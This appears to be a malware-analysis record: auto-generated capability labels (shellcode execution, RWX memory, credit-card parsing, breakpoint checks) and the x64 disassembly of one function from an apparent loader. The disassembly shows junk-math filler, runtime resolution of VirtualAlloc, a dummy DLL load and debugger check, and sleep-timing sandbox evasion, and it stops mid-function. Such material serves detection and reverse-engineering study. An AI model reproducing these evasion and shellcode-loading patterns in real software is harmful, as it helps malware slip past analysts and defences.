Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Check http status code
Create thread
Encode data using base64
Execute shellcode via indirect call
Link many functions at runtime
Parse credit card information
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x3b28
call fcn.140030010
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x3a90], xmm6
mov dword [rbp + 0x3ad0], ecx
mov qword [rbp + 0x3ad8], rdx
call dbg.__main
mov ecx, 0x7c
call sym.malloc
mov qword [rbp + 0x2610], rax
mov dword [rbp + 0x3a88], 0x46
jmp 0x1400015da
sub dword [rbp + 0x3a88], 1
cmp dword [rbp + 0x3a88], 0
jg 0x1400015d3
mov dword [rbp + 0x3a84], 0
mov ecx, 0x1048
call sym.malloc
mov qword [rbp + 0x2608], rax
mov dword [rbp + 0x3a80], 0
jmp 0x140001658
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140038270]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x3a80]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2608]
add rax, rdx
movsd xmm1, qword [0x140038278]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x3a80], 1
cmp dword [rbp + 0x3a80], 0x208
jle 0x14000160a
mov dword [rbp + 0x3a80], 0
jmp 0x1400016c2
mov eax, dword [rbp + 0x3a80]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2608]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x3a80]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2608]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x3a80], 1
cmp dword [rbp + 0x3a80], 0x208
jle 0x140001670
mov dword [rbp + 0x3a7c], 0xffffffff
add dword [rbp + 0x3a7c], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffb21642c9
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x2604], edx
mov edx, dword [rbp + 0x2604]
imul edx, edx, 0x17
sub eax, edx
mov dword [rbp + 0x2604], eax
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140038270]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x2604]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x25f8], rax
cmp dword [rbp + 0x3a7c], 0x80
jle 0x1400016d8
mov dword [rbp + 0x3a78], 0
mov dword [rbp + 0x3a8c], 0
jmp 0x1400018b8
mov ecx, 0xa4
call sym.malloc
mov qword [rbp + 0x298], rax
mov dword [rbp + 0x3a70], 0
mov dword [rbp + 0x3a6c], 0
mov dword [rbp + 0x3a74], 0
jmp 0x14000184f
call sym.rand
mov edx, dword [rbp + 0x3a74]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x298]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x3a74]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x298]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000181e
add dword [rbp + 0x3a70], 1
jmp 0x140001848
mov eax, dword [rbp + 0x3a74]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x298]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140001848
add dword [rbp + 0x3a6c], 1
add dword [rbp + 0x3a74], 1
cmp dword [rbp + 0x3a74], 0x28
jle 0x1400017ac
mov rax, qword [rbp + 0x298]
mov rcx, rax
call sym.free
call sym.rand
mov edx, dword [rbp + 0x3a8c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2610]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x3a8c], 1
cmp dword [rbp + 0x3a8c], 0x1e
jle 0x140001778
mov dword [rbp + 0x3a8c], 0
mov qword [rbp + 0x3a60], 0
mov dword [rbp + 0x3a68], 0x120
jmp 0x1400018fc
mov eax, dword [rbp + 0x3a68]
cdqe
add qword [rbp + 0x3a60], rax
sub dword [rbp + 0x3a68], 1
cmp dword [rbp + 0x3a68], 0
jg 0x1400018e6
mov dword [rbp + 0x3a8c], 0
jmp 0x140001c0f
mov eax, dword [rbp + 0x3a8c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2610]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140001bde
mov ecx, 0x698
call sym.malloc
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x3a5c], 0
jmp 0x1400019a5
call sym.rand
mov edx, dword [rbp + 0x3a5c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2a8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x3a5c], 1
cmp dword [rbp + 0x3a5c], 0x1a5
jle 0x140001958
mov dword [rbp + 0x3a5c], 0
jmp 0x140001abd
mov dword [rbp + 0x2a4], 0
jmp 0x140001a9f
mov eax, dword [rbp + 0x3a5c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a8]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x2a4]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x2a8]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140001a98
mov eax, dword [rbp + 0x2a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a8]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x2a0], eax
mov eax, dword [rbp + 0x3a5c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a8]
add rax, rdx
mov edx, dword [rbp + 0x2a4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2a8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x2a4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a8]
add rdx, rax
mov eax, dword [rbp + 0x2a0]
mov dword [rdx], eax
add dword [rbp + 0x3a5c], 1
mov eax, 0x1a5
sub eax, dword [rbp + 0x3a5c]
cmp dword [rbp + 0x2a4], eax
jl 0x1400019cf
add dword [rbp + 0x3a5c], 1
cmp dword [rbp + 0x3a5c], 0x1a5
jle 0x1400019c0
mov rax, qword [rbp + 0x2a8]
mov rcx, rax
call sym.free
add dword [rbp + 0x3a84], 1
mov dword [rbp + 0x3a58], 0xb4
mov dword [rbp + 0x3a54], 0x46
mov dword [rbp + 0x3a50], 0x17c
mov dword [rbp + 0x3a4c], 0x122
jmp 0x140001bcf
mov eax, dword [rbp + 0x3a50]
cmp eax, dword [rbp + 0x3a4c]
jle 0x140001b6c
mov eax, dword [rbp + 0x3a50]
cmp eax, dword [rbp + 0x3a58]
jle 0x140001b4c
mov eax, dword [rbp + 0x3a50]
cmp eax, dword [rbp + 0x3a54]
jle 0x140001b43
sub dword [rbp + 0x3a50], 1
jmp 0x140001bb8
sub dword [rbp + 0x3a54], 1
jmp 0x140001bb8
mov eax, dword [rbp + 0x3a58]
cmp eax, dword [rbp + 0x3a54]
jle 0x140001b63
sub dword [rbp + 0x3a58], 1
jmp 0x140001bb8
sub dword [rbp + 0x3a54], 1
jmp 0x140001bb8
mov eax, dword [rbp + 0x3a4c]
cmp eax, dword [rbp + 0x3a58]
jle 0x140001b9a
mov eax, dword [rbp + 0x3a4c]
cmp eax, dword [rbp + 0x3a54]
jle 0x140001b91
sub dword [rbp + 0x3a4c], 1
jmp 0x140001bb8
sub dword [rbp + 0x3a54], 1
jmp 0x140001bb8
mov eax, dword [rbp + 0x3a58]
cmp eax, dword [rbp + 0x3a54]
jle 0x140001bb1
sub dword [rbp + 0x3a58], 1
jmp 0x140001bb8
sub dword [rbp + 0x3a54], 1
mov eax, dword [rbp + 0x3a50]
mov edx, eax
lea rax, section..rdata
mov rcx, rax
call sym.printf
cmp dword [rbp + 0x3a50], 0
jg 0x140001b10
jmp 0x140001c08
mov eax, dword [rbp + 0x3a8c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2610]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140001c08
add dword [rbp + 0x3a78], 1
add dword [rbp + 0x3a8c], 1
cmp dword [rbp + 0x3a8c], 0x1e
jle 0x140001914
mov rax, qword [rbp + 0x2610]
mov rcx, rax
call sym.free
mov ecx, 0x62c
call sym.malloc
mov qword [rbp + 0x25f0], rax
mov dword [rbp + 0x3a44], 0
jmp 0x140001c95
call sym.rand
mov edx, dword [rbp + 0x3a44]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x25f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x3a44], 1
cmp dword [rbp + 0x3a44], 0x18a
jle 0x140001c48
mov dword [rbp + 0x3a44], 0
jmp 0x140001dad
mov dword [rbp + 0x2b8], 0
jmp 0x140001d8f
mov eax, dword [rbp + 0x3a44]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x25f0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x2b8]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x25f0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140001d88
mov eax, dword [rbp + 0x2b8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x25f0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x2b4], eax
mov eax, dword [rbp + 0x3a44]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x25f0]
add rax, rdx
mov edx, dword [rbp + 0x2b8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x25f0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x2b8]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x25f0]
add rdx, rax
mov eax, dword [rbp + 0x2b4]
mov dword [rdx], eax
add dword [rbp + 0x3a44], 1
mov eax, 0x18a
sub eax, dword [rbp + 0x3a44]
cmp dword [rbp + 0x2b8], eax
jl 0x140001cbf
add dword [rbp + 0x3a44], 1
cmp dword [rbp + 0x3a44], 0x18a
jle 0x140001cb0
mov rax, qword [rbp + 0x25f0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x3a48], 0
jmp 0x14000245b
mov ecx, 0xc1c
call sym.malloc
mov qword [rbp + 0x300], rax
mov ecx, 0xc1c
call sym.malloc
mov qword [rbp + 0x2f8], rax
mov ecx, 0xc1c
call sym.malloc
mov qword [rbp + 0x2f0], rax
mov dword [rbp + 0x3a40], 0
jmp 0x140001f1d
mov dword [rbp + 0x3a3c], 0
jmp 0x140001f09
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x3a40]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
lea rcx, [rax*4]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x300]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x3a3c]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x3a40]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
lea rcx, [rax*4]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x2f8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x3a3c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x3a3c], 1
cmp dword [rbp + 0x3a3c], 0x18
jle 0x140001e2c
add dword [rbp + 0x3a40], 1
cmp dword [rbp + 0x3a40], 0x1e
jle 0x140001e1d
mov dword [rbp + 0x3a40], 0
jmp 0x14000201b
mov dword [rbp + 0x3a3c], 0
jmp 0x140002007
mov eax, dword [rbp + 0x3a40]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x300]
add rdx, rax
mov eax, dword [rbp + 0x3a3c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x3a40]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x2f8]
add rdx, rax
mov eax, dword [rbp + 0x3a3c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x3a40]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x2f0]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x3a3c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x3a3c], 1
cmp dword [rbp + 0x3a3c], 0x18
jle 0x140001f48
add dword [rbp + 0x3a40], 1
cmp dword [rbp + 0x3a40], 0x1e
jle 0x140001f39
mov rax, qword [rbp + 0x300]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov ecx, 0x5f0
call sym.malloc
mov qword [rbp + 0x2e8], rax
mov dword [rbp + 0x3a34], 0
mov dword [rbp + 0x3a30], 0
mov dword [rbp + 0x3a38], 0
jmp 0x1400020d2
call sym.rand
mov edx, dword [rbp + 0x3a38]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x3a38], 1
cmp dword [rbp + 0x3a38], 0x17b
jle 0x140002086
mov dword [rbp + 0x3a38], 0
jmp 0x140002113
mov eax, dword [rbp + 0x3a38]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2e8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x3a34], eax
add dword [rbp + 0x3a38], 1
cmp dword [rbp + 0x3a38], 0x17b
jle 0x1400020ea
mov dword [rbp + 0x3a38], 0
jmp 0x14000219b
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x3a30]
mov eax, dword [rbp + 0x3a38]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2e8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x2bc]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140038280]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x3a30], eax
add dword [rbp + 0x3a38], 1
cmp dword [rbp + 0x3a38], 0x17b
jle 0x14000212b
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x3a30]
movss xmm1, dword [0x140038288]
divss xmm0, xmm1
movss dword [rbp + 0x2e4], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x2e4]
movq rax, xmm4
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x2e0], xmm0
mov rax, qword [rbp + 0x2e8]
mov rcx, rax
call sym.free
movsd xmm0, qword [0x140038290]
movsd qword [rbp + 0x3a28], xmm0
movsd xmm0, qword [0x140038298]
movsd qword [rbp + 0x2d8], xmm0
jmp 0x140002248
movsd xmm0, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x3a28]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
mov qword [rbp + 0x3a28], rax
movsd xmm0, qword [0x1400382a0]
comisd xmm0, xmmword [rbp + 0x3a28]
ja 0x14000221f
mov dword [rbp + 0x3a24], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x3a18], xmm0
add dword [rbp + 0x3a24], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x3a24]
movsd xmm0, qword [0x140038278]
addsd xmm0, xmm1
mov rax, qword [0x1400382a8]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x3a24]
addsd xmm0, xmm0
movsd xmm2, qword [0x140038278]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x3a18]
addsd xmm0, xmm1
movsd qword [rbp + 0x3a18], xmm0
cmp dword [rbp + 0x3a24], 0x5d
jle 0x140002270
movsd xmm1, qword [rbp + 0x3a18]
movsd xmm0, qword [0x1400382b0]
mulsd xmm0, xmm1
movsd qword [rbp + 0x3a18], xmm0
mov dword [rbp + 0x3a14], 0xa0
mov dword [rbp + 0x3a10], 0xd2
jmp 0x14000233f
mov eax, dword [rbp + 0x3a14]
cmp eax, dword [rbp + 0x3a10]
jle 0x140002338
sub dword [rbp + 0x3a14], 1
jmp 0x14000233f
sub dword [rbp + 0x3a10], 1
cmp dword [rbp + 0x3a14], 0
jg 0x140002321
mov dword [rbp + 0x3a0c], 0xffffffff
add dword [rbp + 0x3a0c], 1
call sym.rand
imul eax, eax, 0xa2
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140038270]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x2d0], rax
cmp dword [rbp + 0x3a0c], 0x51
jle 0x140002352
mov dword [rbp + 0x3a08], 0xffffffff
add dword [rbp + 0x3a08], 1
call sym.rand
imul eax, eax, 0x65
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140038270]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x2c8], rax
cmp dword [rbp + 0x3a08], 0x13
jle 0x1400023a6
mov dword [rbp + 0x3a00], 0x212
mov dword [rbp + 0x3a04], 0x212
jmp 0x140002411
sub dword [rbp + 0x3a00], 1
sub dword [rbp + 0x3a04], 1
cmp dword [rbp + 0x3a04], 0x38
jg 0x140002403
call sym.rand
imul eax, eax, 0x223
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140038270]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x2c0], rax
add dword [rbp + 0x3a48], 1
cmp dword [rbp + 0x3a48], 0x5e
jle 0x140001ddb
mov qword [rbp + 0x25e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x25e0], rax
mov rax, qword [rbp + 0x25e0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x5158a80
mov ecx, 0
call rax
mov qword [rbp + 0x25e8], rax
cmp qword [rbp + 0x25e8], 0
je 0x14002ef97
mov rax, qword [rbp + 0x25e8]
mov edx, 0x5158a80
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x25e8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.joharxngneqqqcz.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x25d8], rax
cmp qword [rbp + 0x25d8], 0
jne 0x14002ef97
mov ecx, 0x40c
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x40c
jne 0x14002ef97
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x25d0], rax
mov rax, qword [rbp + 0x25d0]
mov ecx, 0
call rax
mov dword [rbp + 0x25cc], eax
cmp dword [rbp + 0x25cc], 0xffffffff
je 0x14002ef97
mov dword [rbp + 0x294], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x25c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x294]
mov r8, qword [rbp + 0x25c0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x294]
cmp eax, 1
je 0x14002ef97
mov qword [rbp + 0x25b8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x25b0], rax
mov rax, qword [rbp + 0x25b0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4f27280
mov ecx, 0
call rax
mov qword [rbp + 0x25b8], rax
cmp qword [rbp + 0x25b8], 0
je 0x14002ef97
mov rax, qword [rbp + 0x25b8]
mov edx, 0x4f27280
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x25b8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x25ac], 0x378
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x25a0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2598], rax
mov rax, qword [rbp + 0x2598]
call rax
mov dword [rbp + 0x2594], eax
mov eax, dword [rbp + 0x25ac]
mov r8, qword [rbp + 0x25a0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x2598]
call rax
mov dword [rbp + 0x2590], eax
mov eax, dword [rbp + 0x2590]
sub eax, dword [rbp + 0x2594]
cmp eax, 0x346
jbe 0x14002ef97
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x2588], rax
cmp qword [rbp + 0x2588], 0
je 0x14002ef97
mov rax, qword [rbp + 0x2588]
mov edx, 0x5d0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x2584], eax
mov dword [rbp + 0x2580], 0x257
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2578], rax
mov rax, qword [rbp + 0x2578]
call rax
mov dword [rbp + 0x2574], eax
mov eax, dword [rbp + 0x2580]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x2578]
call rax
mov dword [rbp + 0x2570], eax
mov eax, dword [rbp + 0x2570]
sub eax, dword [rbp + 0x2574]
cmp eax, 0x225
jbe 0x14002ef97
mov dword [rbp + 0x256c], 0x29c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2560], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2558], rax
mov rax, qword [rbp + 0x2558]
call rax
mov dword [rbp + 0x2554], eax
mov eax, dword [rbp + 0x256c]
mov r8, qword [rbp + 0x2560]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x2558]
call rax
mov dword [rbp + 0x2550], eax
mov eax, dword [rbp + 0x2550]
sub eax, dword [rbp + 0x2554]
cmp eax, 0x26a
jbe 0x14002ef97
mov dword [rbp + 0x39fc], 0xffffffff
mov ecx, 0x104
call sym.malloc
mov qword [rbp + 0x2548], rax
mov dword [rbp + 0x39f4], 0
mov dword [rbp + 0x39f0], 0
mov dword [rbp + 0x39f8], 0
jmp 0x14000298c
call sym.rand
mov edx, dword [rbp + 0x39f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2548]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x39f8], 1
cmp dword [rbp + 0x39f8], 0x40
jle 0x14000293f
mov dword [rbp + 0x39f8], 0
mov dword [rbp + 0x39f8], 0
jmp 0x140002a08
mov eax, dword [rbp + 0x39f8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2548]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400029d7
add dword [rbp + 0x39f4], 1
jmp 0x140002a01
mov eax, dword [rbp + 0x39f8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2548]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002a01
add dword [rbp + 0x39f0], 1
add dword [rbp + 0x39f8], 1
cmp dword [rbp + 0x39f8], 0x40
jle 0x1400029ab
mov rax, qword [rbp + 0x2548]
mov rcx, rax
call sym.free
mov dword [rbp + 0x39ec], 0xffffffff
add dword [rbp + 0x39ec], 1
call sym.rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140038270]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x2540], rax
cmp dword [rbp + 0x39ec], 0xe6
jle 0x140002a2a
add dword [rbp + 0x39fc], 1
mov ecx, 0xd8
call sym.malloc
mov qword [rbp + 0x2538], rax
mov ecx, 0xd8
call sym.malloc
mov qword [rbp + 0x2530], rax
mov ecx, 0xd8
call sym.malloc
mov qword [rbp + 0x2528], rax
mov dword [rbp + 0x39e8], 0
jmp 0x140002bad
mov dword [rbp + 0x39e4], 0
